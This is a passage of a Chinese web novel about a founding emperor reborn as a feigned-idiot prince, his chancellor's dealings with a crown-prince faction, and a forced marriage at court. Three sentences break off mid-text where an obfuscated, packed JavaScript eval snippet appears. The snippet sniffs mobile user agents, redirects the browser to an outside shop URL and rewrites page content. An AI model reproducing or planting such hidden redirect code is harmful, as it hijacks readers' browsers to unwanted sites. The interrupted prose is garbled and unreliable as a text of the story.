萧四硬着头皮让自己弯腰鞠躬:“六皇子殿下,传陛下口谕,您可以离开这里了。” 简而言之他只是一个来传口谕的,他什么都不知道,也什么都没看见啊! 而且他背后是云起帝,很厉害的是当朝皇帝,你不要杀我啊啊啊啊! 可惜萧靖川只是上前几步。 “如果你面前的真的是那个六皇子的话,他也许会心慈手软,但是我不会。” 萧靖川笑着说出了很可怕的话:“请君赴死。” 萧四感觉自己完蛋了,他崩溃地开始呢喃:“再见了妈妈今晚我又要远航了希望一觉醒来我能回到我的世界我要禁韩信加强律师—— 下一秒,作为皇家暗卫的萧四甚至没看清萧靖川是怎么动的,只感觉脖子一凉,人就软软的倒了下去。 萧靖川叹了口气:“吓你玩的,还真信了。” 他要是随意草菅人命,那和被他举旗反抗的前晏皇帝又有什么区别? 任劳任怨的萧靖川甚至给萧四摆了个舒服点的姿势:“本来想诈点东西出来,没想到居然诈出来了更好玩的。” 他的丞相君右丞也在半夜自己偷偷喊过:“加强深海猎人”这种意味不明的话语。 没想到啊,无心插柳柳成荫,等他有时间了——至少是登上皇位之后,一定要好好问问这个暗卫,那几句话究竟意味着什么。 毕竟…… 萧靖川想起前世三王之争的时候,君右丞总是欲言又止的奇怪态度,他调出秦王照骨镜这一辈子新开的功能——人才卡,看着现在唯一一张有权限解锁的,君右丞的人才卡下面无比鲜明的【特殊身份:穿越者】这几个字,心情复杂。 穿越者是什么呢? 他早晚有一天会知道,他的丞相到底瞒了他什么秘密。 萧靖川笑的不怀好意,他拿起照骨镜:“既然已经自由,那么接下来,我看看时间,嗯,午膳时间,是时候去找点吃的东西了。” 这具身体明明正是青壮的年龄,却因为常年饥困虚弱无比,既然他来到了这位后世子孙的身上,那他就不得不先从养好自己开始。 毕竟只有身体强健,才能与敌周旋。 上辈子只活了三十多岁的萧靖川心想。 早死太吃亏了,吃大亏! 14.对视 萧靖川理了理衣领,迈着自信的步伐走出了这座阴森森的牢房。 显然萧四来的时候和这里的狱卒打了招呼,狱卒们变得客气了不少,纷纷出来一口一个六皇子地为他引路。萧靖川仗着自己现在的人设是个傻子,看都没看他们,只顾着自己一路往前走。 当然,路过某几位狱卒自己给自己开的小灶时,顺路把唯几的肉包子全都拿走了,一个都没留。 萧靖川两三口把包子全咽了下去,心道做的根本没有君右丞好吃。 虽然他们四个里出身最“正统”的人就是出自名门望族的君右丞,但是做饭最好吃的人也依旧是君右丞。 萧靖川啧啧两声,漂离的思绪被周围狱卒的奉承拉了回来,重新摆出一副傻呵呵的笑脸。 “六皇子殿下!六皇子殿下走好啊!” 宫里的太监已经停在外面,准备好了回宫的车撵,萧靖川没说话,也没搭理身后那些人追着的叫喊。保持着笑脸钻进了马车里,然后揉了揉自己的嘴角。 一直笑着真累啊。 萧靖川心想,也不知道君右丞是怎么做到的。 金陵城,陈府。 下车的客人戴着斗笠,垂下来的长纱遮住了他的容颜鬓发,陈府前的小厮去扶他,却惊愕地发现…… 对方的身上,传来了浓烈的血腥味。 小厮瞪大了眼睛,手指颤抖的厉害,差点摔在这位神秘的客人面前,还是客人反应快,伸手捞了他一把,要不然他就真的要摔倒去亲吻大地了。 “没事吧?” 客人的声音也很好听,温润如泉水滑过,但是小厮却抖的更厉害了。 因为这一扶,让他看清了客人的衣着,那身红衣根本不是原本的颜色——这位客人身上的衣服完全是被血染红的! 血……全都是血,这么大的出血量…… 小厮两眼一闭,直接晕了过去。 君右丞:……?陈府的下马威?挑衅我? 他大脑刚开始思索,就见那小厮身后的两个同伴连忙冲上前来把他拖到了后面,一边抱歉一边鞠躬,看起来应该不是冲他来的。 君右丞这才后知后觉自己还一身都是血,好像怪不到人家头上。 “君公子,请吧,换身衣服后,我家大人在内院等您。” 君右丞没有拒绝,其实在诏狱的时候他就有点受不了了。 当他来到小厮指引的内院的时候,那里已经有人在等。 陈府的院落很有苏州园林的特色,移步异景,种植了许多漂亮的杏花,红白相间,非常漂亮。 这座小院子被杏花半包着,出口和入口都是一座月亮门,雕造着精致的麦穗。 院子中间曲水前的观水亭中,穿着常服的中年人正坐在那里,自顾自地斟酒。 “哎呀,是右丞啊,快来吧,快坐快坐,就当这里是你自己的家就好,不要见外啊。” 他听到了君右丞的脚步声,回头笑着招呼君右丞过来。 君右丞没有动。 对方的腰上还挂着京仓的调粮令牌,而在现在的南乾能拿到京仓调粮令的只有一个人。 户部尚书陈粟,吏部尚书君和同年登科的进士,又同期为官,确实能对“君右丞”说这样的话。 君右丞其实很意外,没想到对方居然直接派出了如此重量级的人物来谈判,谁家好人上来出牌就出王炸的? 看来太子党比他想象的还要着急。 也是,大皇子明明是太子,但是母亲在玉门之乱后的乱局中卷入战乱早逝,随着三皇子在朝中大放异彩,一连提出数次新政还被采纳,云起帝的态度也变得逐渐暧昧起来,数次在太子与三皇子中选择了支持三皇子的意见,他们确实不可能继续坐下去了。 既然如此,这项目就好谈了。 君右丞心想。 “右丞?怎么了?还不过来吗?” 陈粟还是一副温和长辈的样子,担忧地看向君右丞,好像他真的将君右丞当作自己老友的遗孤来关心一样。 如果现在的这具身体里是原来的那位君右丞的话,可能还会被这位经常往来的世叔骗到,可惜君右丞早就过了会被这种拙劣的演技欺骗的年龄。 陈粟明明就连那温和的笑意都懒得浸入眼底。戏也演的太粗糙了。 于是君右丞上前几步,在陈粟面前站定,然后低头作揖。 “世叔——!” 他声音凄厉嘶哑。 “侄父冤屈啊!求世叔解惑,指出明路,右丞必肝脑涂地,以报此恩!” 君右丞的声音不大,不是撕心裂肺,歇斯底里地喊出来的,但是那几个字依旧字字萃尽心血。 这番话也不全是演戏,君家家风极严,君和更是严于律己,宽以待人的典范,在“君右丞”的记忆中,其父一直是为民请命的清官,两袖清风,就连府邸的面积都只是同职位陈府的几十分之一,每逢休沐还亲自熬粥分给流民。 数十年如一日,从未断绝。 这样的清臣因为莫须有的贪污罪名死在大殿之上,君右丞难免有些……物伤其类。 更何况君和某种意义上也是他的后人。 陈粟看到君右丞如此主动有些惊讶,他本来以为这个虽然名字和开国丞相相似,但是实在是扶不上墙的烂泥世侄还需要他再激励激励才能站起来为父报仇,没想到这次如此有骨气。 看来他低谷了仇恨的动力,不过……是好事啊。 陈粟的眼底闪过算计。 既然君右丞先开了口,那就皆大欢喜。 陈粟的眼睛里挤出两滴不知道真假的泪水,他上前几步,扶起君右丞,目光落在外面的曲水:“贤侄啊,大庆十二年杏花宴,我与你父亲同折金桂,共饮曲江——那时候你还在牙牙学语。这世上若论君和兄‘竹风梅骨’,除我陈粟,谁敢称知字?” 他这番话说的很恳切:“朝中局势你应也清楚,三皇子嚣张跋扈,到现在居然连君和兄都不放过,可惜他羽翼渐丰,就连东宫那位都不得不暂避锋芒……” 如今朝廷局势已成三皇子和太子分庭抗礼之势,而陈粟其人又是坚定的太子党派,这在整个南乾都不算是什么秘密。 君右丞却只是用那双亮的吓人的眼睛望着他:“如能为父亲翻案,右丞愿做万万事。” 快点结束这些没用的流程吧,君右丞想,他还着急去捞陛下呢,也不知道陛下在牢里吃不吃的饱饭,诏狱应该不至于饿死人吧? ……呃,至少他管理的诏狱下应该不会,但现在的这个就不好说了。 陈粟等的就是他这句话,他将手拍在了君右丞的肩头,只觉得这位世侄今日甚合心意:“好!不愧是君兄之子,有君家的风骨。但三皇子殿下根基深厚,无缝不入,还须从长计议。” 君右丞乖巧地低头:“世侄到底愚昧,还请世叔指点迷津。” 陈粟却露出了意味深长的笑容:“树大根深,水能破之,只要水出了问题,树也活不了多久” 君右丞深思起来,水……他记得君和的罪名,就是因为黑龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777022|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫从贪污粮草的江南巡抚——君家门生徐琅那里搜到了大量信件证据。 陈粟笑着看向君右丞:“世侄啊,你可不要让我失望啊,君家老小三十多口人的清誉性命,现在可都在你的肩膀上了。” 除了君和和抄家当日被黑龙卫直接杀死的君家家眷,君府还有三十余人现在还关在诏狱里等候发落。陈粟这句话不仅是提醒,也是警告。 无论是太子还是三皇子,那三十多号人都能轻而易举地被任何势力随意地杀死。 君右丞垂眸:“世侄清楚,单凭差遣。” 只要能到萧靖川身边,他忍了,不过…… 敢威胁我……老登你等着吧! 金陵城,乾宫。 萧靖川昂首挺胸地回了乾宫,并且敬业到完全没有ooc,他脸上的傻笑越来越灿烂,不像是在扮演,倒像是真情流露。 六皇子所在的宫殿很偏,位于金陵新乾宫的西南角,距离御膳房很近,但也还有一段距离,新乾宫基本上一比一按照旧乾都未央宫修建,朱红的檐角交错,熟悉的街道让萧靖川甚至感觉恍如隔世。 在走到一座壮阔宫墙旁时,他抬头,看到了只属于天子的辉煌仪仗。 云起帝处理完了政务,离开了云行殿,带着一袭人浩浩荡荡的不知道要往哪里去。 眼看就要经过他们面前所在的大道,身边给萧靖川指路的小太监连忙慌张地拉着萧靖川退到一旁垂首行礼。 当然,是六皇子行礼,他跪着。 萧靖川磨牙切齿,这个便宜爹孙子差点把点翠给炼了,居然还嚣张的招摇过市,是可忍孰不可忍—— 可惜人在屋檐下,不得不低头,他现在把云起帝杀了也没法政变,没有任何意义,只能顺着小太监的力道靠在一边,安静地不说话。 坐在轿撵上的云起帝却猛地抬头,感觉到了一丝若隐若现的诡异杀意。 ……?难道是有刺客? 可自从乾太祖在正兴十三年遇刺后,整个乾宫的防守严了不止十分,又有暗处黑龙卫暗卫加护,谁敢光天化日之下行刺君主? 云起帝眯了眯眼睛,余光却看到了垂首站在路旁的萧川。 少年一头微卷的黑发一半扎为一个利索的发髻,由银色的精致谛听纹发冠固定,一半自由散下。眉目俊朗英姿,一身白色织金圆领袍,相当干练。 可惜了…… 这副好相貌偏偏是他刚刚从诏狱里放出来的六皇子。 哎呦,居然还活着呢。 云起帝有些意外,他的目光掠过这懵懂的傻儿子,一丝怜悯与不耐同时掠过心头。 这宫闱倾轧中,当一个傻子或许反倒是一种福气。 也许是因为愧疚和怜悯,云起帝的目光多在六皇子的身上停了几秒,这一停,就停出来了异常。 因为六皇子猛地抬起头,毫不畏惧地看向了云起帝。 他的眼睛是非常锋利的银灰色,阳光的余晖正正落在那双眼睛里,像是把瞳孔点成了太阳,哪怕浸染了阳光,那双平日只余痴傻与空洞的眸子,此刻竟依旧深不见底,仿佛千年古井,映不出丝毫光亮,只有审视。 高高在上的,神佛般的审视。 寒气,由内而生的寒气从云起帝的脊背中生起,但是下一秒,那双眼睛却恢复了痴傻。 “蝴蝶,嘿嘿嘿,吃蝴蝶……好吃。” 六皇子傻笑着抬起手,指向一只翩然飞过宫墙的纯白蝴蝶。 云起帝:……果然是朕的错觉,这傻子还是那个傻子。 15.我们一起玩泥巴 云起帝已经懒得给六皇子治罪了,挥了挥手,仪仗远去。 小太监摇摇晃晃的起来,想要继续带着六皇子殿下回住处,结果一抬头,刚刚还站在那里傻呵呵的六皇子殿下已经消失不见。 “六皇子殿下?六皇子殿下——!” 小太监快哭了,天知道这是他第一次接触大人物,平时他都是被扔到角落里刷恭桶的! 怪不得这活能派给他!果然不是什么好活! 不远处的宫墙角落里,这里是一个死角,能看到宫道上巡逻的卫队和走过的宫女太监,但是那些人却很难注意到这个角落。 萧靖川抱臂靠在朱红的宫墙上,白色的衣袍和鲜红的朱墙形成了鲜明的对比。 银犬纹路的照骨镜悬浮在萧靖川的身侧,一人一镜安静地望着宫道上的行人,不知道在思考着什么。 八百里秦宫,三千数汉庭。如今谁得见当年恢弘? 还真是恍惚啊,一百年居然就这样过去了。 “秦鉴,小镜子,亲爱的照骨镜,请给我调出周围的地图,重点标注萧泉的位置。” 萧靖川压下那一瞬间的怅然若失,又嬉皮笑脸地给他的好搭档拿劲。 照骨镜上下浮动,就当自己点了点头,它很快搜索完毕,从善如流地在镜面上显示周围的实时地图,从宫道向外延伸,是未有封地的皇子公主们的住处,俗称东西五所,可惜云起帝子嗣不多,活下来的更是没几个,现在整个东五所完全就是萧靖川一个人的宫殿。 从东西五所向刚刚云起帝去的方向延伸而去是太学,这里按理说是公主皇子们进行学业的地方,现在却变成了三皇子和大皇子下朝之后互掐的地方。 象征云起帝的红色发光点就在靠近太学最近的那条路上。 【现在,三皇子和大皇子正在太学“论道”。】 照骨镜的语气有点幸灾乐祸。 说是论道,其实就是吵起来了,今天早上的朝会上两个人又针锋相对,你提出一个观点我就驳斥一个观点,双方的站臣差点拿着笏板直接在云行殿表演一个聚众斗殴。 两党大臣:拿起纸笔我无法殴打你,放下纸笔我无法弹劾你,还好有笏板可以让我一边殴打你一边弹劾你! 萧靖川摸了摸下巴,有些遗憾:“哎呀当时朕要是在就好了,即使没打起来,朕也一定能让他们打起来给朕热闹热闹——” 他好像想到了什么:“小镜子,你刚刚说现在三皇子和太子也在太学那里是吗?” 照骨镜又上下挪了挪点头,但是不知道为什么,它有种不好的预感。 萧靖川一拍手,很快把照骨镜这不好的预感给印证了:“嘿,这还真是两巴掌一拍,巧了不是?朕……我终于又能看热闹了——” 他笑了笑,径直向着照骨镜标志出的太学位置走去。 【但是,但是宿主陛下,您现在刚回宫,而且原主可是从来没有去过太学啊,这样好吗?】 照骨镜颤颤巍巍地开口劝谏。 萧靖川却一脸无所谓,他眨了眨眼:“可是那便宜爹孙子不是没禁止我来上课吗?没禁止就是允许呀。” 他总有这种不讲道理的道理。 于是照骨镜也不说话了。 太学殿中,太子和三皇子相对而坐。 殿中没有夫子,只有他们两个人相看两相厌,又不得不在这里对峙。 因为临安的事情还没有处理完,磨合也好,辩论也好,斗殴也好,他们必须给云起帝拿出一个结果。 君和案发,君氏一族被连根拔起,就连齐鲁的君氏本家都没来得及反应。 君和下场如此凄惨,他那众矢之的的门生江南巡抚徐琅更是已经死的不能再死,直接斩首示众,株连数百。 但是死去的人死了,活着的人还要继续收拾烂摊子。徐琅贪的钱实在太多,几乎一分都没留给南方海匪的抗击前线,为了吃空饷而建立的,吹嘘大过实际意义的海防前线,再这样下去,终究会变成真正的海防前线。 总要有人去处理烂摊子的,但是所有人都不希望是自己。 于是,之前人人争而求之的江南巡抚之位,现在变成了一道烫手山芋,没有人愿意站出来接过这个烂摊子,但是这个烂摊子已经变成了南乾不容忽视的毒瘤,甚至还在慢慢膨胀,侵蚀着南乾的海岸。 三皇子和太子都很头疼。 他们都不想管,都想把吃力不讨好的这件事扔给对方,甚至也想着就这样拖下去也未尝不可,奈何今天的朝会上云起帝突然在疯病中恢复了正常,让他们必须给出一个结果。 “兄长数次欲言又止,是在担忧何事啊。” 最后还是三皇子勉强笑着打开了话题,虽然这借口找的烂得要命。 太子冷哼一声:“孤担心的事情,三弟你心知肚明。” 明明是在叫三弟,但是却硬生生叫出了十世仇人的感觉。 与往常一样,三皇子打开话头,太子先发制人,他将茶碟叩在桌子上开口:“三弟门下调教出的岭南布政使,可是在奏疏里把决堤写成‘天河倒灌’的奇才。此等文采,合该去海防前线著书立说。” 三皇子勉强笑的温文尔雅:“不及皇兄幕僚——徐琅那里搜出来的三十万两工银经过东宫属官之手,竟能化作三船鹅卵石。这等点金成石术,正该派去教海匪改行卖鹅卵石。” “还是三弟有办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785931|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “还是兄长文韬武略样样出彩,手下也能人辈出。” “孤记得贵妃娘娘就是临安人士吧?” 太子急了:这你妈老家的活,你必须去干! “兄长说笑了,临安造化钟神,人杰辈出,兄长手下不也都是江南才子吗?” 三皇子也急了:你手下人全都是江南的!你人多还是你去干吧! 两个人一边说一边俯身,隔着桌子都差点撞到一起,眼看对方眼中的怒火就要冲上来烧掉彼此的眉毛,这时一只白色的蝴蝶翩然飞了进来。 然后一个穿着白色圆领袍的少年撞开窗户跳了进来。 “嘿嘿,小蝴蝶,和我玩……” 太子瞪大了眼睛:“老六?!” 他记得这个弟弟不是因为冲撞甘贵妃被扔进了诏狱吗?他还以这事为借口参了三皇子好几本,可惜没有三皇子参君和那本管用,也不知道萧涣这个混蛋奏本怎么写的,直娘贼,怎么写的那么好—— 三皇子也顾不得和太子互骂了,难以置信地看着那个不应该出现在这里的少年,眼眸深处闪过一丝惊惧。 萧川为什么会出现在这里? 他不是应该被母亲的人出手杀死了吗?为什么不仅没有死,还离开了诏狱? 这和死人复活有什么区别? 三皇子惊恐地想。 然而六皇子却完全没有意识到他的惊恐,也不觉得自己从窗户外面追蝴蝶跳进来打扰两个位高权重的哥哥商讨正事有什么不对, 他摇摇晃晃地追了一会儿蝴蝶,顶着太子和三皇子的目光,在太学殿里跑了好几圈,最后遗憾地注视着那只轻巧翩然的蝴蝶顺着他撞开的窗户飞了出去。 整个画面看起来相当兄友弟恭,但同时也分外诡异。 更诡异的事情来了,六皇子的视线扫过两个哥哥,好像看到了什么比蝴蝶更好玩的东西,嘻嘻哈哈地就跳了过来。 然后……一手拽住了太子殿下那华贵的长袍一角。 “大哥哥大哥哥,和我一起去玩泥巴!” 六皇子闪着一双亮晶晶的眼睛看着他,让太子的嘴角完全装不出平时的宽厚仁爱。 “噗。” 三皇子没忍住,笑出了声。太子狠狠瞪了他一眼,萧涣只好偏过头,一边憋笑一边道:“臣弟只是……只是想起了高兴的事情。” 他没高兴太久,因为六皇子有两只手。 六皇子的另一只手很快扯到了他的玉佩上:“三哥哥你也来,玩泥巴可好玩了!” 这下笑的变成了太子:哈哈哈,你也有今天! 三皇子的脸色顿时难看起来。 他有洁癖。 16.厚黑学不及格 而一切的始作俑者萧靖川傻笑着,甚至开始思考自己为了真实性要不要再牺牲一下流点口水。 只有他自己能看到的照骨镜默默开口:【不,你不想——求你了,一会儿云起帝就来了!】 即使它只是个镜子,它也丢不起这个人啊! 萧靖川闭上了嘴:那还是算了吧,这个爹孙子不值当他做出这么大的牺牲。 说曹操曹操到,就在这诡异的寂静中,殿门外传来一声清晰的击掌,随即是沉稳的脚步声。 “好,好一幅兄友弟恭的场面。” 云起帝萧泉负手踱步而入,玄色常服上暗绣的龙纹在光影中若隐若现。 他目光淡淡扫过僵立的太子和三皇子,最后落在正扯着两位兄长衣袍的萧靖川身上,唇角竟含着一丝难以捉摸的笑意。 他在路上刚遇到这个傻子,这傻子就一路追了过来? 未免也太巧了吧? 太子与三皇子吓了一跳,慌忙直身行礼,异口同声:“儿臣参见父皇!” 云起帝倒也没追究为什么萧靖川出现在这里,因为那不重要。 他径直走到主位坐下,指尖轻敲桌面:“朕在外面听了片刻,热闹得很。怎么,讨论了这半日,可有个结果了?江南的烂摊子,谁去收拾?” 四下寂静。 “儿臣无能,尚未……”太子急于辩解。 “江南巡抚人选,儿臣等还在商讨……”三皇子也试图搪塞。 两人喉头一哽,正欲将早已准备好的推诿之词再度搬出,准备再扯一堆什么“还需详查”,什么“兹事体大”的咕噜话应付过去。 不料,那扯着两人衣袍的六皇子却猛地抬起头,眼睛亮得惊人,眼底闪过一次不易察觉的玩味。 照骨镜开始给两个皇子扶额了,一般萧靖川摆出这副样子,那就意味着他又要开始作妖了。 而且一作就是要作个大的。 萧靖川两眼一瞪,大声道:“父皇!哥哥们要去做江南巡抚了吗?” 太子:!!! 三皇子:??? 两个一言一行都能在朝堂上引起暗涌风波的皇子吓得浑身抖了抖。 我靠,老六啊! 他们和他无冤无仇,为何这个混蛋要来害他们! 萧靖川还在输出:“江南好好玩!我经常听宫里的太监嬷嬷们说起,那里的山是绿的水是蓝的——糕点也好吃!” 他声音清亮,带着不谙世事的兴奋,在这满是算计,人均一百八十个心眼子的殿里显得格外突兀。 坐在主位上的云起帝闻言愣了愣,但他非但没有生气,反而朗声大笑起来,笑声在殿梁间回荡,让太子和三皇子的心更是沉了下去。 还笑呢老登,再笑一会儿这家伙就追蝴蝶追到你的丹殿里去了,说不定一把火烧了你的万古长青宫! 两个被无视的人在后面咬牙切齿。 笑罢,云起帝屈尊勾了勾手,示意萧靖川过来。 他饶有兴致地看向六皇子,顺着他的话问:“你的哥哥们不去做,而是选人去做。老六,那依你看来,你觉得谁比较合适啊?” 萧靖川就等着这句话呢! 他立刻松开两位兄长的衣袍,像只邀功的小狗般蹦到云起帝面前,指着自己的鼻子,脸上是毫不掩饰,近乎天真的得意: “我觉得我最合适哦!” 照骨镜发出了无声的尖叫:【陛下!潜龙在渊啊!您这不就暴露了吗?!云起帝再傻也知道你不对劲了!】 【没事,朕本来也懒得继续演他的好儿子。朕可是祖宗!凭什么当儿子!】 萧靖川在心里翻了个白眼,面上却笑得更加烂漫,手舞足蹈地比划着:“我去!父皇让我去!江南的糕点……我去了,就能天天吃最新鲜的啦!只要能吃到糕点,我就能把那些海匪当泥巴捏!” 他这番豪言壮语一出,太子和三皇子都惊呆了,连之前的惊惧和愤怒都暂时被这荒谬感冲淡。 让一个傻子去当巡抚?接过现在这个满朝文武都没人敢碰的烂摊子? 云起帝的目光在六皇子那张貌似纯真无邪的脸上停留了许久。 他好像是第一次这样仔细地端详这个被他扔在东西五所之后就没再管过的孩子。 说实话,老六长得很不错,就是眼睛有点特殊,是银灰色的,瞳孔还泛着淡淡的金色,再加上人是个傻子,所以之前他一直都很不待见这孩子。 云起帝想起之前在宫道上相会时那一瞬间感受到的异常。 还有,方才他隐在殿外,分明看见这孩子是如何如黄犬般敏捷地从窗口翻入,那身法绝非痴傻之人能有。 此刻这番看似疯癫的言论,是真傻,还是……大智若愚? 是装了这么多年傻子,还是近日因为天幕的出现……突然恢复了神智? 云起帝自然而然地将六皇子的异常和最近突然出现的那个奇怪的天幕联系在了一起。 如果真是因为天幕,莫非……乾武帝并非老三和太子其中之一,而是……另有其人? 那可真是天助于他,他终于不用再去翻那些乱七八糟的宗室族谱找乾武帝了。 殿内静得能听见照明的油灯燃烧的轻微噼啪声。 终于,云起帝缓缓开口,声音里听不出喜怒:“江南巡抚,关系重大,岂是儿戏。” 他话虽如此,目光却并未从萧靖川身上移开,仿佛在审视一件极其有趣的器物。 太子和三皇子刚松了半口气。 却听云起帝又道:“不过……六皇子有此志气,倒也不易。” 一句轻飘飘的话,让两位皇子的心再次提到了嗓子眼。 萧靖川瞬间殷切地看向这个便宜爹孙子,眼睛里写满了:我好可怜啊!这一辈子都爹不疼娘不爱的——现在连这么一个小小的愿望为什么都不能满足我?——快满足我啊! 没人能忍受萧靖川的狗狗眼攻击,心硬如铁的君右丞都做不到,云起帝就更做不到了,萧泉不自然地撇开了眼睛,咳嗽两声。 “你傻了这么多年,也就聪明了这么一次,朕当然要完成你的心愿了。” 云起帝落下两个字:“准了。” 于是三皇子和太子快要打起来的难题,就这样轻飘飘地被交给了一个傻子。 “父皇——” 怎么可能让一个傻子去当巡抚接过现在这个满朝文武都没人敢碰的烂摊子?! 两个人也顾不得什么夺嫡之争不夺嫡之争了,不约而同地上前一步想要劝谏,却同时停下了脚步。 让一个傻子……去接过这个满朝文武无人敢碰的烂摊子…… 唉?! 云起帝只是淡漠地看了那两人一眼。 像是在看两个厚黑学不及格的傻子。 现在江南已经变成了一笔烂账,兵部无人可用,兵部尚书自己都恨不得把自己拆成八半,以等差数列的形式在长江天堑头按到长江天堑尾,防备着包括但不限于后蜀,朔,和北乾的敌对割据政权。 至于江南被“养”出来的海匪,就更无暇顾及了。 各方势力都不愿意来接这个烂摊子,染一身污垢的同时落得一个凄惨的下场,他们只会继续推诿扯皮下去,即使云起帝一直催,三皇子和太子也很难拿出一个当双方都满意的方案。 既然如此,那不如妥协后平衡。 选择一个傻子去兼职现在的江南巡抚,简直是最好的挡箭牌,至少如果结果是坏的,那锅就有人背了。 而且各方势力都可以随意地在这位傻子六皇子的下属安排自己的人,不怕在江南这里捞不到好处。 【明明还没出发,但是我现在感觉自己身上已经背上了厚重的黑锅,哈哈哈。】 萧靖川在心里叹了口气,将这背后的原因解释给照骨镜听。 照骨镜瞪大了眼睛:你们朝堂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791994|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人心可真黑啊! 【不过没关系。】萧靖川向来会安抚下属,他一边表面上高兴的欢呼,谢主隆恩,一边在心里道:放龙入水,等到了江南……会发生什么,那可就由不得云起帝了。 要知道,在一个陌生的地方拉队伍,一向是他最擅长的事。 另一边,金陵城,兵部尚书郑府。 大红喜绸缠满了府宅的每一道梁柱,喧闹的锣鼓声震得人耳膜发麻。 正堂之上,宾客们脸上堆着或好奇或同情或戏谑的复杂笑容,目光都聚焦在这一场荒谬绝伦的婚礼上。 主要是婚礼双方太特殊了——英烈之后,因父母护驾有功被云起帝特赐上朝特权的顾小校尉,以及镇守长江天堑的兵部尚书家中独子郑望。 两个八杆子也打不到的人就这样莫名其妙地被发疯的云起帝给乱牵红线牵到了一起,磕话本cp拉郎也没有这么拉的。 更何况……现在的顾小校尉的身体里,还是来自百年前的大乾开国大将军顾月。 红绸漫卷的喜堂之上,顾月一身刺目的大红婚服,颀长身躯僵立如松。 鎏金杯在他指节泛白的掌心几乎要被捏出裂痕,满堂宾客的喧闹贺喜声浪,于他耳中比不过沙场之上的金戈交鸣。 他还是更喜欢在北蛮那边吃沙子。 顾月心想,哎呀我真傻,真的,我单知道大乾初立不易大动干戈,没想到百年后会在这里被回旋镖捅穿。 早知道当年死也要追过瀚海,追死烈日汗的祖宗,如果烈日汗不存在,那么云起帝就不会成为皇帝,至少也不会犯疯病,如果云起帝不会成为皇帝,他也不用在这里和一个陌生人结婚。 还是男的。 准备拜堂的顾月只想去死。 就在这当口,身侧传来“咔嚓咔嚓”的细微脆响。 顾月眼风冷冷扫去,只见穿着国师府丹侍袍的少女正毫无形象地倚在朱漆柱旁,指尖灵巧地剥着瓜子,袖口还沾着几点瓜子壳碎屑没抖下去。 “采访你一下,”那顶着百年前同一张脸的老友点翠显然已经靠她的巫术轻而易举地混进了国师府,甚至品阶还不低,要不然也来不了顾月的婚礼。 点翠将一撮瓜子仁抛入口中,含糊不清地道,乌溜溜的眼珠里闪烁着毫不掩饰的兴味:“一会儿就拜堂了,和那么一位…嗯,孔武有力又心灵手巧的公子哥儿共结连理,有什么感触吗?” 兵部尚书家大公子郑望虽然是个武将,但可是有名的苏绣绣手。 顾月的情绪倒是比点翠想象的稳定,他只是叹息:“我只恨陛下江山所托非人,当时没能将北蛮斩草除根。” 点翠被感动了,顾月居然还在自责,她后退几步:“你还是那么爱陛下,但是心里揣着陛下和别人拜堂不好吧?礼官怎么这么快来了?那我就下去了,不打扰你们拜堂。” 她话音未落,只听礼官高唱:“新人——至!” 鼓乐声陡然激昂,宾客的喧哗更甚。 顾月循声望去,只见他那未来的“新郎官”,兵部尚书家大公子,正被簇拥着迈过门槛。 果然如传闻所言,那公子身形高大健硕,一身大红喜服被肌肉撑得鼓胀,行走间虎虎生风。 就是脸色不太好看,显然也尴尬的很。 “顾兄。” 郑望先苦笑着开了口,抬手作揖。 “郑兄。” 顾月也同样回礼。 “一拜天地——” 礼官拖长了调子的唱喏响起。 “二拜高堂——” 兵部尚书还在前线,于是两个人尴尬地对着空椅子低头叩首。 “三对拜——” 郑府里种满了桃花,此刻桃花红绸相映,点翠看着顾月和郑望两个人在桃花和红绸中直不愣登地跪下,总觉得这画面有点眼熟。 她很快想了起来。 点翠:我靠!桃,桃园二结义! 17.云起帝像是业绩不达标的月老 这场荒谬的婚礼声势浩大,结束的却极为迅速。 来往的宾客望着喜堂,最后眼中也只有物伤其类的悲凉——这已经不是云起帝第一次在犯疯病的时候乱点鸳鸯谱了,云起帝之前也没少在发疯时拉着同性给他们赐婚,所以这次的婚礼各外引人注目的原因是双方的身份,而非他们的性别。 顾校尉是英烈之后,因父母护驾有功被云起帝特赐上朝特权,但是他的父母却并非军旅中人,而是……三皇子党的国师府中人。 这次离谱的婚礼比起一个笑话,更像是一次政治事件——因为兵部尚书对这件事什么都没有说,没有发表任何意见。 没有态度就是种态度。 那意味着他默认了与三皇子党的联合。 来往的宾客摇着扇子,金陵城里都是聪明人,六部中唯一不站队的吏部尚书君和已死,户部尚书陈粟和工部尚书白工是太子党,兼礼部尚书的国师是三皇子党,刑部已经被黑龙卫完全架空,尚书权势还不如指挥使萧三。 ……而现在唯一没有站队的兵部尚书也选择了三皇子党,这也就意味着……金陵城里的所有高位官员,此刻已经全都有了自己的立场。 